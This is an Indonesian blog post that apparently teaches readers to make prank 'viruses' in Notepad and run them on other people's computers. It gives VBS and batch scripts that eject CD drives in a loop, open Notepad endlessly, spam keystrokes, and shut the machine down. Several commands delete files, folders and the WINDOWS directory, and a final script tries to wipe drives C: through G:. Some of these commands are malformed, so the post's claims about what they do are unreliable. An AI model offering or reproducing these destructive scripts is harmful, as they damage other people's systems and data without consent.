Cara ngisengin orang dengan notepad

eh ketemu lagi ,mau tau cara bikin virus? gampang kok dan ini termasuk virus biasa biasa aja ..
tapi inget ,bukannya mau ngajarin yang gak baik ,tapi ini memang untuk iseng iseng aja kok daripada diem gak jelas mendingan isengin orang :D
dan mesti di inget ,jangan laporin ke polisi bang ,saya anak baik baik kok ampun ampun :( AKAWKWKA

Caranya adalah :

Buka notepad lalu masukan kode di bawah ini :


Set oWMP = CreateObject("WMPlayer.OCX.7") Set colCDROMs = oWMP.cdromCollection do if colCDROMs.Count >= 1 then For i = 0 to colCDROMs.Count - 1 colCDROMs.Item(i).Eject Next For i = 0 to colCDROMs.Count - 1 colCDROMs.Item(i).Eject Next End If wscript.sleep 5000 loop

lalu simpan dengan nama apa saja tapi belakangnya harus .vbs (contoh bukadeh.vbs) dan klik filenya 2 x.Virus tersebut dapat Membuat CD/DVD ROM akan terbuka/tertutup secara otomatis tanpa berhenti

kode vbs yang ke dua
WScript.Sleep 18000
WScript.Sleep 1000
do
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 100
WshShell.AppActivate "Notepad"
WScript.Sleep 500
WshShell.SendKeys "c"
WScript.Sleep 500
WshShell.SendKeys "i"
WScript.Sleep 500
WshShell.SendKeys "e"
WScript.Sleep 500
WshShell.SendKeys " "
WScript.Sleep 500
WshShell.SendKeys "w"
WScript.Sleep 500
WshShell.SendKeys "k"
WScript.Sleep 500
WshShell.SendKeys "w"
WScript.Sleep 500
WshShell.SendKeys "k"
WScript.Sleep 500
WshShell.SendKeys ":"
WScript.Sleep 500
WshShell.SendKeys "D"
WScript.Sleep 500
loop
kode tersebut dapat membuka notepad otomatis dan menulis cie wkwk :D pada notepad
untuk caranya sama seperti di atas

Pesan

  
script nya


@echo off
title Program Actived
:menu
cls
pause
set input=nothing
set /p input=Press Enter
if %input%==1 shutdown -s -t
if %input%==2 del c:\xxx
if %input%==3 del c:\xxx
if %input%==4 @ECHO off
msg * Sukurin Kena
msg * Hahahahahaha
@ECHO off
:top
START %SystemRoot%
\system32\notepad.exe
GOTO top
simpan dengan .bat contoh contoh = gakenaksotoba.bat

Menekan backspace secara otomatis dan berulang-ulang



MsgBox "selamat ya :*" Set wshShell =wscript.CreateObject("WScript.Shell") do wscript.sleep 100 wshshell.sendkeys "{bs}" loop

Menekan enter secara otomatis dan berulang-ulang


Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep  100
wshshell.sendkeys "~(enter)"
loop

 Mengetik AKWOKAWOKAWOK secara otomatis dan berulang-ulang


Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "AKWOKAWOKAWOK"
loop

Menghapus Files dan Folder



buka notepad trus ketik DEL /F /Q lalu save as dan simpan dengan nama test.cmd jika kalian doubel click file test.cmd maka semua files dan folder akan terhapus.


Menghapus Files Tertentu

buka notepad trus ketik erase C:TEST.txt lalu save as dan simpan dengan nama test.cmd jika kalian doubel click file test.cmd maka files TEST.txt di drive c:\ akan terhapus


Menghapus Folder Tertentu

buka notepad trus ketik erase C:WINDOWS lalu save as dan simpan dengan nama test.cmd jika kalian double click file test.cmd maka folder WINDOWS di drive c:\ akan terhapus


 Yang ini lebih bahaya ,saya gak mau kasih tau bahayanya apa ,yang jelas bahaya :D



@echo off

DEL C: -Y

DEL D: -Y
DEL E: -Y
DEL F: -Y
DEL G: -Y

Kemudian simpan, lalu ubah [Save as type] menjadi [All Files], dan pada kotak [File Name] beri nama virus ini dengan kata apa aja terserah kalian dan diakhiri dengan kata .bat, misal virus.bat , kemudian klik save.

kalian coba yah dan semoga berhasil :D AWKAKAWKAK

Penulis : Unknown ~ Sebuah blog yang menyediakan berbagai macam informasi

Artikel Cara ngisengin orang dengan notepad ini dipublish oleh Unknown pada hari Selasa, 22 Januari 2013. Semoga artikel ini dapat bermanfaat.Terimakasih atas kunjungan Anda silahkan tinggalkan komentar.sudah ada 0 komentar: di postingan Cara ngisengin orang dengan notepad
 

0 komentar:

Posting Komentar

Biasakan berikan komentar yang berguna setelah membaca Artikel ini :)